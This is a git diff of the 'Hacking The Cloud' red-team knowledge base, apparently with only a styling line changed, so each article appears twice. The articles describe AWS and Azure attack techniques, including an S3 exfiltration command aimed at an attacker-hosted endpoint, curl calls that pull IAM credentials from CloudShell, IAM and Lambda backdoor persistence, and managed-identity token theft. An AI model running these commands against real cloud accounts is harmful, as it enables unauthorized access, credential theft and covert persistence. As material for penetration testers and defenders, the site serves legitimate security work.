      As seen in the wild by the SCARLETEEL threat actor, the AWS CLI can be used to download and exfiltrate data using an attacker-hosted backend. You can host an S3 compatible object store such as MinIO and then use the --endpoint-url flag to interact with that service. This makes it easy to download tools, exfiltrate compromised data and more.

      $ aws s3 ls --endpoint-url https://attacker.s3.store
       2023-07-13 02:06:30 criminalbucket
       2023-07-13 22:01:36 exfiltrated-data
       

      Tip

      As mentioned by Jesse Lepich, a layer 7 firewall like the AWS Network Firewall can be used to limit access to non-allowlisted domains.

      Article by Nick Frichette

      Get IAM Credentials from a Console Session

      When performing a penetration test or red team assessment, it is not uncommon to gain access to a developer's machine. This presents an opportunity for you to jump into AWS infrastructure via credentials on the system. For a myriad of reasons you may not have access to credentials in the .aws folder, but instead have access to their browser's session cookies (for example via cookies.sqlite in FireFox).

      Gaining access to the Console is great, but it may not be ideal. You may want to use certain tools that would instead require IAM credentials.

      To get around this, we can leverage CloudShell. CloudShell exposes IAM credentials via an undocumented endpoint on port 1338. After loading session cookies from the victim into your browser, you can navigate to CloudShell and issue the following commands to get IAM credentials.

      [user@cloudshell]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Get IAM Credentials from a Console Session

      When performing a penetration test or red team assessment, it is not uncommon to gain access to a developer's machine. This presents an opportunity for you to jump into AWS infrastructure via credentials on the system. For a myriad of reasons you may not have access to credentials in the .aws folder, but instead have access to their browser's session cookies (for example via cookies.sqlite in FireFox).

      Gaining access to the Console is great, but it may not be ideal. You may want to use certain tools that would instead require IAM credentials.

      To get around this, we can leverage CloudShell. CloudShell exposes IAM credentials via an undocumented endpoint on port 1338. After loading session cookies from the victim into your browser, you can navigate to CloudShell and issue the following commands to get IAM credentials.

      [user@cloudshell]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
       
       [user@cloudshell]$ curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
       

      Alternatively, you can run the following command, which returns credentials with a short TTL (roughly 15m).

      [user@cloudshell]$ aws configure export-credentials --format env
      diff --git a/aws/post_exploitation/iam_persistence/index.html b/aws/post_exploitation/iam_persistence/index.html
      index 10e31064b..bc76774b9 100644
      --- a/aws/post_exploitation/iam_persistence/index.html
      +++ b/aws/post_exploitation/iam_persistence/index.html
      @@ -1,4 +1,4 @@
      - AWS IAM Persistence Methods - Hacking The Cloud         

      Article by Nick Frichette

      AWS IAM Persistence Methods

      After gaining a foothold in an AWS environment, an attacker may attempt to establish persistence. Doing this will allow them to return to the account later on to continue their activities. This article is a collection of such persistence techniques. It's worth noting at the time of writing, that this is a small subset of the world of possibilities available to an attacker, and more techniques will be added over time.

      More complex methods that require additional explanation will link to their respective Hacking the Cloud articles.

      IAM User Access Keys

      AWS IAM users can create pairs of access keys to programmatically interact with the AWS API. These credentials can be used with the AWS CLI and allow those with access to those credentials to perform actions as the associated user.

      Access keys created this way are long lived (starting with AKIA), meaning that they do not time out or expire by default. Because of this, creating access keys for a user you'd like to maintain access to can be an incredibly simple and easy form of persistence in an AWS environment.

      Tip

      Aside from the opportunity to maintain persistence in an AWS environment, iam:CreateAccessKey can also potentially be used for lateral movement to create credentials for other users.

      IAM User Login Profile

      AWS IAM users can be configured to access the AWS console with a username and password. An adversary with the iam:CreateLoginProfile permission can create login profiles for other users (specifying the password of their choosing). Through this method an adversary can maintain access to an IAM user by logging into the AWS console and performing operations from there.

      IAM Role Assume Role Policy

      In order to assume an IAM role, a role trust policy must be attached to it. This policy specifies the identities that are permitted to assume the role.

      An adversary could invoke iam:UpdateAssumeRolePolicy, specifying that their own, attacker-controlled AWS account is permitted to assume the role in the environment. This would allow the adversary to maintain access to that role, and use it when needed.

      {
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      AWS IAM Persistence Methods

      After gaining a foothold in an AWS environment, an attacker may attempt to establish persistence. Doing this will allow them to return to the account later on to continue their activities. This article is a collection of such persistence techniques. It's worth noting at the time of writing, that this is a small subset of the world of possibilities available to an attacker, and more techniques will be added over time.

      More complex methods that require additional explanation will link to their respective Hacking the Cloud articles.

      IAM User Access Keys

      AWS IAM users can create pairs of access keys to programmatically interact with the AWS API. These credentials can be used with the AWS CLI and allow those with access to those credentials to perform actions as the associated user.

      Access keys created this way are long lived (starting with AKIA), meaning that they do not time out or expire by default. Because of this, creating access keys for a user you'd like to maintain access to can be an incredibly simple and easy form of persistence in an AWS environment.

      Tip

      Aside from the opportunity to maintain persistence in an AWS environment, iam:CreateAccessKey can also potentially be used for lateral movement to create credentials for other users.

      IAM User Login Profile

      AWS IAM users can be configured to access the AWS console with a username and password. An adversary with the iam:CreateLoginProfile permission can create login profiles for other users (specifying the password of their choosing). Through this method an adversary can maintain access to an IAM user by logging into the AWS console and performing operations from there.

      IAM Role Assume Role Policy

      In order to assume an IAM role, a role trust policy must be attached to it. This policy specifies the identities that are permitted to assume the role.

      An adversary could invoke iam:UpdateAssumeRolePolicy, specifying that their own, attacker-controlled AWS account is permitted to assume the role in the environment. This would allow the adversary to maintain access to that role, and use it when needed.

      {
         "Version": "2012-10-17",
         "Statement": {
           "Effect": "Allow",
      diff --git a/aws/post_exploitation/intercept_ssm_communications/index.html b/aws/post_exploitation/intercept_ssm_communications/index.html
      index 0f6862946..bf34f0eab 100644
      --- a/aws/post_exploitation/intercept_ssm_communications/index.html
      +++ b/aws/post_exploitation/intercept_ssm_communications/index.html
      @@ -1,4 +1,4 @@
      - Intercept SSM Communications - Hacking The Cloud         

      Article by Nick Frichette

      Intercept SSM Communications

      The SSM Agent is responsible for allowing EC2 instances to communicate with SSM services. The agent authenticates with SSM via the IAM role and the credentials in the Metadata Service. As a result, if you gain access to an EC2 instance or its IAM credentials you can spoof the agent and intercept EC2 Messages and SSM Sessions.

      For an in depth explanation of how this works, please see the original research.

      Warning

      The tools used in this page are proof of concept, and should not be used for serious use cases. If you create or find a more production-ready tool please open an issue.

      Intercept EC2 Messages

      The normal operations of the SSM Agent is to poll for messages it has been sent. We can abuse this functionality by frequently polling ourselves. Doing so, will increase the likelihood (to a near guarantee) that we receive the messages before the real SSM agent does.

      By abusing this functionality we can intercept the EC2 messages and response with our own output, allowing us to force a "Success" response.

      Using the ssm-send-command-interception.py PoC:

      Intercepting Commands

      Modified Output

      Intercept SSM Sessions

      Normally the SSM Agent will spawn a WebSocket connection back to SSM. This first WebSocket is the control channel and is responsible for spawning the data channels (which actually process the information). Due to this setup, we can spawn our own control channel and intercept all incoming connections. This can allow us to intercept or modify the communications happening, and potentially allow us to intercept sensitive commands and credentials.

      Using the ssm-session-interception.py PoC:

      Session Interception

      Article by Nick Frichette

      Intercept SSM Communications

      The SSM Agent is responsible for allowing EC2 instances to communicate with SSM services. The agent authenticates with SSM via the IAM role and the credentials in the Metadata Service. As a result, if you gain access to an EC2 instance or its IAM credentials you can spoof the agent and intercept EC2 Messages and SSM Sessions.

      For an in depth explanation of how this works, please see the original research.

      Warning

      The tools used in this page are proof of concept, and should not be used for serious use cases. If you create or find a more production-ready tool please open an issue.

      Intercept EC2 Messages

      The normal operations of the SSM Agent is to poll for messages it has been sent. We can abuse this functionality by frequently polling ourselves. Doing so, will increase the likelihood (to a near guarantee) that we receive the messages before the real SSM agent does.

      By abusing this functionality we can intercept the EC2 messages and response with our own output, allowing us to force a "Success" response.

      Using the ssm-send-command-interception.py PoC:

      Intercepting Commands

      Modified Output

      Intercept SSM Sessions

      Normally the SSM Agent will spawn a WebSocket connection back to SSM. This first WebSocket is the control channel and is responsible for spawning the data channels (which actually process the information). Due to this setup, we can spawn our own control channel and intercept all incoming connections. This can allow us to intercept or modify the communications happening, and potentially allow us to intercept sensitive commands and credentials.

      Using the ssm-session-interception.py PoC:

      Session Interception

      \ No newline at end of file diff --git a/aws/post_exploitation/lambda_persistence/index.html b/aws/post_exploitation/lambda_persistence/index.html index 8d7afbd9d..f1381137f 100644 --- a/aws/post_exploitation/lambda_persistence/index.html +++ b/aws/post_exploitation/lambda_persistence/index.html @@ -1,4 +1,4 @@ - Lambda Persistence - Hacking The Cloud

      Article by Nick Frichette

      Lambda Persistence

      Warning

      Depending on the specific runtime and tools available, you will likely have to change the approach taken to gain persistence in a Lambda function. The general concepts should serve as a guide for a more specific attack you develop.

      After finding a remote code execution vulnerability in a Lambda function, you'll probably want to establish persistence. The steps to do this will depend on the specific runtime that is being used by the Lambda function. Below the Python and Ruby runtimes are used as an example.

      Note

      See the "Creating a Listener" section at the bottom of this page for how to setup a listener for exfiltrated data.

      Python Runtime

      After identifying that your target is using the Python runtime, you'll need a copy of the /var/runtime/bootstrap.py file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.

      Next, you'll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:

      Python - Backdoored Lambda Bootstrap File

      Note

      You can customize what the backdoor does, depending on what you're looking to do. Maybe you want to leak a specific user's data. Maybe you just want Cookies. It's up to you!

      With the bootstrap.py file backdoored, you'll want to host it in a location that is accessible for the Lambda function to pull down.

      The next step is creating a one-liner to pull down this modified code, as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:

      import urllib3
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Lambda Persistence

      Warning

      Depending on the specific runtime and tools available, you will likely have to change the approach taken to gain persistence in a Lambda function. The general concepts should serve as a guide for a more specific attack you develop.

      After finding a remote code execution vulnerability in a Lambda function, you'll probably want to establish persistence. The steps to do this will depend on the specific runtime that is being used by the Lambda function. Below the Python and Ruby runtimes are used as an example.

      Note

      See the "Creating a Listener" section at the bottom of this page for how to setup a listener for exfiltrated data.

      Python Runtime

      After identifying that your target is using the Python runtime, you'll need a copy of the /var/runtime/bootstrap.py file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.

      Next, you'll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:

      Python - Backdoored Lambda Bootstrap File

      Note

      You can customize what the backdoor does, depending on what you're looking to do. Maybe you want to leak a specific user's data. Maybe you just want Cookies. It's up to you!

      With the bootstrap.py file backdoored, you'll want to host it in a location that is accessible for the Lambda function to pull down.

      The next step is creating a one-liner to pull down this modified code, as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:

      import urllib3
       import os
       http = urllib3.PoolManager()
       
      diff --git a/aws/post_exploitation/role-chain-juggling/index.html b/aws/post_exploitation/role-chain-juggling/index.html
      index 8ad47158b..090ebb262 100644
      --- a/aws/post_exploitation/role-chain-juggling/index.html
      +++ b/aws/post_exploitation/role-chain-juggling/index.html
      @@ -1,4 +1,4 @@
      - Role Chain Juggling - Hacking The Cloud         

      Article by Nick Frichette

      Role Chain Juggling

      When doing an assessment in AWS you may want to maintain access for an extended period of time. You may not have the ability to create a new IAM user, or create a new key for existing users. How else can you extend your access? Role Chain Juggling.

      Role chaining is a recognized functionality of AWS in that you can use one assumed role to assume another one. When this happens the expiration field of the credentials is refreshed. This allows us to keep refreshing credentials over an over again.

      Through this, you can extend your access by chaining assume-role calls.

      Note

      You can chain the same role multiple times so long as the Trust Policy is configured correctly. Additionally, finding roles that can assume each other will allow you to cycle back and forth.

      To automate this work Daniel Heinsen developed a tool to keep the juggling going.

      user@host:$ ./aws_role_juggler.py -h
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Role Chain Juggling

      When doing an assessment in AWS you may want to maintain access for an extended period of time. You may not have the ability to create a new IAM user, or create a new key for existing users. How else can you extend your access? Role Chain Juggling.

      Role chaining is a recognized functionality of AWS in that you can use one assumed role to assume another one. When this happens the expiration field of the credentials is refreshed. This allows us to keep refreshing credentials over an over again.

      Through this, you can extend your access by chaining assume-role calls.

      Note

      You can chain the same role multiple times so long as the Trust Policy is configured correctly. Additionally, finding roles that can assume each other will allow you to cycle back and forth.

      To automate this work Daniel Heinsen developed a tool to keep the juggling going.

      user@host:$ ./aws_role_juggler.py -h
       usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
       
       optional arguments:
      diff --git a/aws/post_exploitation/run_shell_commands_on_ec2/index.html b/aws/post_exploitation/run_shell_commands_on_ec2/index.html
      index 820971dc4..5f2170410 100644
      --- a/aws/post_exploitation/run_shell_commands_on_ec2/index.html
      +++ b/aws/post_exploitation/run_shell_commands_on_ec2/index.html
      @@ -1,4 +1,4 @@
      - Run Shell Commands on EC2 with Send Command or Session Manager - Hacking The Cloud         

      Article by Nick Frichette

      Run Shell Commands on EC2 with Send Command or Session Manager

      After escalating privileges in a target AWS account or otherwise gaining privileged access you may want to run commands on EC2 instances in the account. This article hopes to provide a quick and referenceable cheat sheet on how to do this via ssm:SendCommand or ssm:StartSession.

      Tip

      By default, the commands that are issued are not logged to CloudTrail. Specifically they are "HIDDEN_DUE_TO_SECURITY_REASONS". As a result, if an adversary were to leverage this tactic against an environment, defenders would need to get information about those commands from host based controls. Defenders, this is an excellent capability to validate. Alternatively, offensive security teams can do the testing.

      Send Command

      You can send arbitrary shell commands to EC2 instances from the AWS CLI via the following:

      aws ssm send-command \
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Run Shell Commands on EC2 with Send Command or Session Manager

      After escalating privileges in a target AWS account or otherwise gaining privileged access you may want to run commands on EC2 instances in the account. This article hopes to provide a quick and referenceable cheat sheet on how to do this via ssm:SendCommand or ssm:StartSession.

      Tip

      By default, the commands that are issued are not logged to CloudTrail. Specifically they are "HIDDEN_DUE_TO_SECURITY_REASONS". As a result, if an adversary were to leverage this tactic against an environment, defenders would need to get information about those commands from host based controls. Defenders, this is an excellent capability to validate. Alternatively, offensive security teams can do the testing.

      Send Command

      You can send arbitrary shell commands to EC2 instances from the AWS CLI via the following:

      aws ssm send-command \
       --instance-ids "i-00000000000000000" \
       --document-name "AWS-RunShellScript"
       --parameters commands="*shell commands here*"
      diff --git a/aws/post_exploitation/s3_acl_persistence/index.html b/aws/post_exploitation/s3_acl_persistence/index.html
      index 00750a8a6..b54ae8e65 100644
      --- a/aws/post_exploitation/s3_acl_persistence/index.html
      +++ b/aws/post_exploitation/s3_acl_persistence/index.html
      @@ -1,4 +1,4 @@
      - S3 File ACL Persistence - Hacking The Cloud         

      Article by Wes Ladd

      S3 File ACL Persistence

      Requirements

      For this scenario to work, you will need to have s3:PutBucketAcl, s3:PutObjectAcl, or PutObjectVersionAcl on the target s3 bucket or associated object.

      Purpose

      When doing an assessment in AWS you may want to maintain access for an extended period of time, but you may not have the ability to create a new IAM user, create a new key for existing users, or even perform IAM role-chain juggling. How else can you extend your access? By backdooring key S3 resources using S3 Access Control Lists (ACLs).

      Background on Sensitive S3 Use Cases

      Many organizations have grown to use AWS S3 to store Terraform state files, CloudFormation Templates, SSM scripts, application source code, and/or automation scripts used to manage specific account resources (EC2 instances, Lambda Functions, etc.) During post-exploitation, you may identify opportunities to access these resources. Provisioning write, or in some cases read only access to these resources, may provide persistent access to credentials for the AWS account and/or resources provisioned in the account. Furthermore, write access specifically may allow an attacker to update configuration files, source code for applications, and/or automation code that modifies downstream resources in the account. On the next update/execution of the relevant data/code, this may allow an attacker to further extend access to other resources in the account, or even beyond the specific AWS account accessed. This brings us to the method: S3 ACL Access Control.

      Technique

      S3 ACL Access Control is a recognized functionality of AWS in that you can use an access control list to allow access to S3 buckets from outside your own AWS account without configuring an Identity-based or Resource-based IAM policy. While many organizations may be prepared to alert on S3 buckets made public via resource policy, this alerting may not extend to capabilities associated with bucket or object ACLs. Furthermore, subtler configurations that expose bucket or object resources to other accounts via ACLs may go undetected by organizations, even those with strong alerting capabilities. Using these permissions, you can extend your access by allowing other AWS accounts you control to read or write objects, buckets, and bucket ACLs. Furthermore, the access can be extended to AUTHENTICATED USERS, which is a term AWS uses to describe any AWS IAM principal in any other AWS account. The access can also be extended to ANY USER which is a term AWS uses to describe anonymous access that does not require authentication.

      Key Considerations

      1. Bucket Public Access Block will prevent S3 bucket ACLs from being configured to allow public (ANY USER) access. If configured, it will provide some limitations to this technique. It does not, however, block the sharing of an s3 object to a specific account, due to what AWS classifes as 'public'.
      2. ACLs for Buckets or objects can be disabled at the bucket level, which would mandate the bucket owner as the object owner no matter who uploads the object. From April 2023, AWS will make this the default for all newly created buckets.

      Article by Wes Ladd

      S3 File ACL Persistence

      Requirements

      For this scenario to work, you will need to have s3:PutBucketAcl, s3:PutObjectAcl, or PutObjectVersionAcl on the target s3 bucket or associated object.

      Purpose

      When doing an assessment in AWS you may want to maintain access for an extended period of time, but you may not have the ability to create a new IAM user, create a new key for existing users, or even perform IAM role-chain juggling. How else can you extend your access? By backdooring key S3 resources using S3 Access Control Lists (ACLs).

      Background on Sensitive S3 Use Cases

      Many organizations have grown to use AWS S3 to store Terraform state files, CloudFormation Templates, SSM scripts, application source code, and/or automation scripts used to manage specific account resources (EC2 instances, Lambda Functions, etc.) During post-exploitation, you may identify opportunities to access these resources. Provisioning write, or in some cases read only access to these resources, may provide persistent access to credentials for the AWS account and/or resources provisioned in the account. Furthermore, write access specifically may allow an attacker to update configuration files, source code for applications, and/or automation code that modifies downstream resources in the account. On the next update/execution of the relevant data/code, this may allow an attacker to further extend access to other resources in the account, or even beyond the specific AWS account accessed. This brings us to the method: S3 ACL Access Control.

      Technique

      S3 ACL Access Control is a recognized functionality of AWS in that you can use an access control list to allow access to S3 buckets from outside your own AWS account without configuring an Identity-based or Resource-based IAM policy. While many organizations may be prepared to alert on S3 buckets made public via resource policy, this alerting may not extend to capabilities associated with bucket or object ACLs. Furthermore, subtler configurations that expose bucket or object resources to other accounts via ACLs may go undetected by organizations, even those with strong alerting capabilities. Using these permissions, you can extend your access by allowing other AWS accounts you control to read or write objects, buckets, and bucket ACLs. Furthermore, the access can be extended to AUTHENTICATED USERS, which is a term AWS uses to describe any AWS IAM principal in any other AWS account. The access can also be extended to ANY USER which is a term AWS uses to describe anonymous access that does not require authentication.

      Key Considerations

      1. Bucket Public Access Block will prevent S3 bucket ACLs from being configured to allow public (ANY USER) access. If configured, it will provide some limitations to this technique. It does not, however, block the sharing of an s3 object to a specific account, due to what AWS classifes as 'public'.
      2. ACLs for Buckets or objects can be disabled at the bucket level, which would mandate the bucket owner as the object owner no matter who uploads the object. From April 2023, AWS will make this the default for all newly created buckets.
      \ No newline at end of file diff --git a/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/index.html b/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/index.html index f1ba1c401..3674e2912 100644 --- a/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/index.html +++ b/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/index.html @@ -1,4 +1,4 @@ - Survive Access Key Deletion with sts:GetFederationToken - Hacking The Cloud

      Article by Nick Frichette

      Survive Access Key Deletion with sts:GetFederationToken

      After identifying that access keys have been compromised by an adversary, defenders will often immediately deactivate or delete those credentials. This is a good practice as it theoretically disables an adversary's access to the environment. However, it is important to know that an adversary can still use credentials generated from sts:GetFederationToken, even if the original access keys have been deleted.

      sts:GetFederationToken is an API that can be invoked by IAM users and returns a set of temporary (ASIA...) IAM credentials. These credentials can be used normally through the CLI with 2 exceptions. From the documentation:

      • You cannot call any IAM operations using the AWS CLI or the AWS API.
      • You cannot call any AWS STS operations except sts:GetCallerIdentity.

      However, it is important to note that these limitations do not apply if an attacker generates a console session from IAM credentials. By using the AWS console you could interact with the IAM service and perform actions such as privilege escalation, maintaining persistence, etc.

      Tip

      If you are attempting to avoid detection, generating a console session from IAM credentials is NOT advised. There are numerous IoCs which may trigger alerts, such as a suspicious user-agent and the ConsoleLogin CloudTrail event. If at all possible, only use the IAM credentials generated from sts:GetFederationToken in the CLI.

      To create temporary IAM credentials using sts:GetFederationToken, you can use the following CLI command:

      aws sts get-federation-token \
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}      

      Article by Nick Frichette

      Survive Access Key Deletion with sts:GetFederationToken

      After identifying that access keys have been compromised by an adversary, defenders will often immediately deactivate or delete those credentials. This is a good practice as it theoretically disables an adversary's access to the environment. However, it is important to know that an adversary can still use credentials generated from sts:GetFederationToken, even if the original access keys have been deleted.

      sts:GetFederationToken is an API that can be invoked by IAM users and returns a set of temporary (ASIA...) IAM credentials. These credentials can be used normally through the CLI with 2 exceptions. From the documentation:

      • You cannot call any IAM operations using the AWS CLI or the AWS API.
      • You cannot call any AWS STS operations except sts:GetCallerIdentity.

      However, it is important to note that these limitations do not apply if an attacker generates a console session from IAM credentials. By using the AWS console you could interact with the IAM service and perform actions such as privilege escalation, maintaining persistence, etc.

      Tip

      If you are attempting to avoid detection, generating a console session from IAM credentials is NOT advised. There are numerous IoCs which may trigger alerts, such as a suspicious user-agent and the ConsoleLogin CloudTrail event. If at all possible, only use the IAM credentials generated from sts:GetFederationToken in the CLI.

      To create temporary IAM credentials using sts:GetFederationToken, you can use the following CLI command:

      aws sts get-federation-token \
       --name your_choice \
       --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess \
       --duration-seconds 129600
      diff --git a/aws/post_exploitation/user_data_script_persistence/index.html b/aws/post_exploitation/user_data_script_persistence/index.html
      index 207b2f957..c4a538d48 100644
      --- a/aws/post_exploitation/user_data_script_persistence/index.html
      +++ b/aws/post_exploitation/user_data_script_persistence/index.html
      @@ -1,4 +1,4 @@
      - User Data Script Persistence - Hacking The Cloud         

      Article by Nick Frichette

      User Data Script Persistence

      When using EC2 instances a common design pattern is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download a config, etc. Additionally these scripts are run as root or System which makes them even more useful. Should we gain access to an EC2 instance we may be able to persist by abusing user data scripts via two different methods.

      Modify the User Data Script

      If we have permission to directly modify the user data scripts, we can potentially persist by adding our own backdoor to it. To do this, we must stop the instance because user data scripts can only be modified when the instance is stopped. You could theoretically wait for this to happen naturally, have a script that constantly tries to modify it, or stop it yourself if you have permissions to do so.

      The steps to modify user data scripts can be found here.

      Modify a Resource Called by the Script

      In situations where we cannot modify the user data script itself, we may be able to modify a resource called by the script. Say for example a script is downloaded by an S3 bucket, we may be able to add our backdoor to it.

      Article by Nick Frichette

      User Data Script Persistence

      When using EC2 instances a common design pattern is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download a config, etc. Additionally these scripts are run as root or System which makes them even more useful. Should we gain access to an EC2 instance we may be able to persist by abusing user data scripts via two different methods.

      Modify the User Data Script

      If we have permission to directly modify the user data scripts, we can potentially persist by adding our own backdoor to it. To do this, we must stop the instance because user data scripts can only be modified when the instance is stopped. You could theoretically wait for this to happen naturally, have a script that constantly tries to modify it, or stop it yourself if you have permissions to do so.

      The steps to modify user data scripts can be found here.

      Modify a Resource Called by the Script

      In situations where we cannot modify the user data script itself, we may be able to modify a resource called by the script. Say for example a script is downloaded by an S3 bucket, we may be able to add our backdoor to it.

      \ No newline at end of file diff --git a/azure/abusing-managed-identities/index.html b/azure/abusing-managed-identities/index.html index 39788bcc9..b419d2fa3 100644 --- a/azure/abusing-managed-identities/index.html +++ b/azure/abusing-managed-identities/index.html @@ -1,4 +1,4 @@ - Abusing Managed Identities - Hacking The Cloud

      Article by andrei8055

      Abusing Managed Identities

      Using Managed Identities it is possible to grant a resource (such as VM/WebApp/Function/etc) access to other resource (such as Vaults/Storage Accounts/etc.) For example, if we want to give our web application access to a private storage account container without having to deal with how we safely store connection strings in config files or source code, we could use a managed identity.

      Compute Resource --> Managed Identity --> Assigned Role(s) --> Storage Account --> Container
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by andrei8055

      Abusing Managed Identities

      Using Managed Identities it is possible to grant a resource (such as VM/WebApp/Function/etc) access to other resource (such as Vaults/Storage Accounts/etc.) For example, if we want to give our web application access to a private storage account container without having to deal with how we safely store connection strings in config files or source code, we could use a managed identity.

      Compute Resource --> Managed Identity --> Assigned Role(s) --> Storage Account --> Container
       

      A Managed Identity can be a System or User identity. A System identity is bound to the resource, but a User identity is independent.

      Setup Azure Managed Identity

      First we enable the managed identity for the web application:

      Azure Managed Identities)

      Once enabled, we are given the possibility to configure the roles assigned for this identity (i.e: permissions granted to the service that we enabled the identity for).

      Azure Managed Identities

      Lastly, we assign one or more roles (which is a set of permissions) for that identity. A role can be assigned at Subscription level, Resource group, Storage Account, Vault or SQL and it propagates “downwards” in the Azure architecture layer.

      The default Owner, owning the resource, and Contributor, read/write content of the resource, roles have the most permissions.

      Azure Managed Identities

      Under each role, we can see in details what permissions are included. Azure also allows the user to configure custom roles in the case that the built-in ones are not suitable for your needs.

      Azure Managed Identities

      Similarly, to see who has permissions granted for a given resource, we can check under the Access Control (IAM) -> View access to this resource.

      Azure Managed Identities

      So in our case, we should see under the Storage Account that the web application has Reader and Data Access:

      Azure Managed Identities

      Next steps

      Now that we have the basics of how Managed Identity works, let’s see how can we exploit this. Since the web application has access to the storage account, and we compromised the web application, we should also be able to gain access to the storage account as well. Simply put, we get the same permissions that compromised resource has assignred to it. Based on how poorly the Identity roles are assigned, it could even be the case that the permissions are assigned at the Subscription level, effectively granting us access to all the resources within the subscription!

      Azure Managed Identities

      While in our case it appears that the permissions are proper (we are limiting access only to the Storage Account that we need access to) and limit the roles to Reader and Data Access (instead of Contributor or Owner), there is still a caveat that allows us to exploit the access privileges. The web app only requires permissions to access the "images" container, however the identity access has been misconfigured and allows the application read permissions for all keys on the storage account. Thus granting the attacker the ability to access any container within the same account.

      Exploiting Azure Managed Identity

      Utilising command injection on the web app, we are able to make a curl request to the $IDENTITY_ENDPOINT URL stored in the environment variables and get an Access token and Account ID (clientId in the response) which can be used to authenticate to Azure.

      curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
       
      Azure Managed Identities

      Using the Azure Powershell module, we can connect to Azure with the access token:

      PS> Install-Module -Name Az -Repository PSGallery -Force
       PS> Connect-AzAccount -AccessToken <access_token> -AccountId <client_id>
      diff --git a/azure/anonymous-blob-access/index.html b/azure/anonymous-blob-access/index.html
      index 56c138c52..7afb530df 100644
      --- a/azure/anonymous-blob-access/index.html
      +++ b/azure/anonymous-blob-access/index.html
      @@ -1,4 +1,4 @@
      - Anonymous Blob Access - Hacking The Cloud         

      Article by andrei8055

      Anonymous Blob Access

      "Storage Accounts" is the service provided by Azure to store data in the cloud. A storage account can used to store:

      • Blobs
      • File shares
      • Tables
      • Queues
      • VM disks

      Azure Storage Account

      For this tutorial, we will focus on the Blobs section. Blobs are stored within a container, and we can have multiple containers within a storage account. When we create a container, Azure will ask on the permissions that we grant for public access. We can chose between:

      • Private Access – no anonymous access is allowed
      • Blob Access – we can access the blobs anonymously, as long as we know the full URL (container name + blob name)
      • Container Access – we can access the blobs anonymously, as long we know the container name (directory listing is enabled, and we can see all the files stored inside the container)

      As you might have guessed, granting Container Access permission can be easily abused to download all the files stored within the container without any permissions as the only things required to be known are the storage account name and the container name, both of which can be enumerated with wordlists.

      Exploiting Anonymous Blob Access

      Now, there are thousands of articles explaining how this can be abused and how to search for insecure storage in Azure, but to make things easier I’ll do a TL:DR. One of the easiest way is to use MicroBurst, provide the storage account name to search for, and it’ll check if the containers exists based on a wordlist saved in the Misc/permutations.txt:

      PS > import-module .\MicroBurst.psm1
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by andrei8055

      Anonymous Blob Access

      "Storage Accounts" is the service provided by Azure to store data in the cloud. A storage account can used to store:

      • Blobs
      • File shares
      • Tables
      • Queues
      • VM disks

      Azure Storage Account

      For this tutorial, we will focus on the Blobs section. Blobs are stored within a container, and we can have multiple containers within a storage account. When we create a container, Azure will ask on the permissions that we grant for public access. We can chose between:

      • Private Access – no anonymous access is allowed
      • Blob Access – we can access the blobs anonymously, as long as we know the full URL (container name + blob name)
      • Container Access – we can access the blobs anonymously, as long we know the container name (directory listing is enabled, and we can see all the files stored inside the container)

      As you might have guessed, granting Container Access permission can be easily abused to download all the files stored within the container without any permissions as the only things required to be known are the storage account name and the container name, both of which can be enumerated with wordlists.

      Exploiting Anonymous Blob Access

      Now, there are thousands of articles explaining how this can be abused and how to search for insecure storage in Azure, but to make things easier I’ll do a TL:DR. One of the easiest way is to use MicroBurst, provide the storage account name to search for, and it’ll check if the containers exists based on a wordlist saved in the Misc/permutations.txt:

      PS > import-module .\MicroBurst.psm1
       PS> Invoke-EnumerateAzureBlobs -Base 0xpwnstorageacc
       Found Storage Account - 0xpwnstorageacc.blob.core.windows.net
       Found Container - 0xpwnstorageacc.blob.core.windows.net/public
      diff --git a/azure/enum_email_addresses/index.html b/azure/enum_email_addresses/index.html
      index 0fa2e6411..90f90c83c 100644
      --- a/azure/enum_email_addresses/index.html
      +++ b/azure/enum_email_addresses/index.html
      @@ -1,4 +1,4 @@
      - Unauthenticated Enumeration of Azure Active Directory Email Addresses - Hacking The Cloud         

      Article by Wes Ladd (@righteousgambit)

      Unauthenticated Enumeration of Valid Azure Active Directory Email Addresses

      You can enumerate valid email addresses associated with the Azure Active Directory service using CredMaster or Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

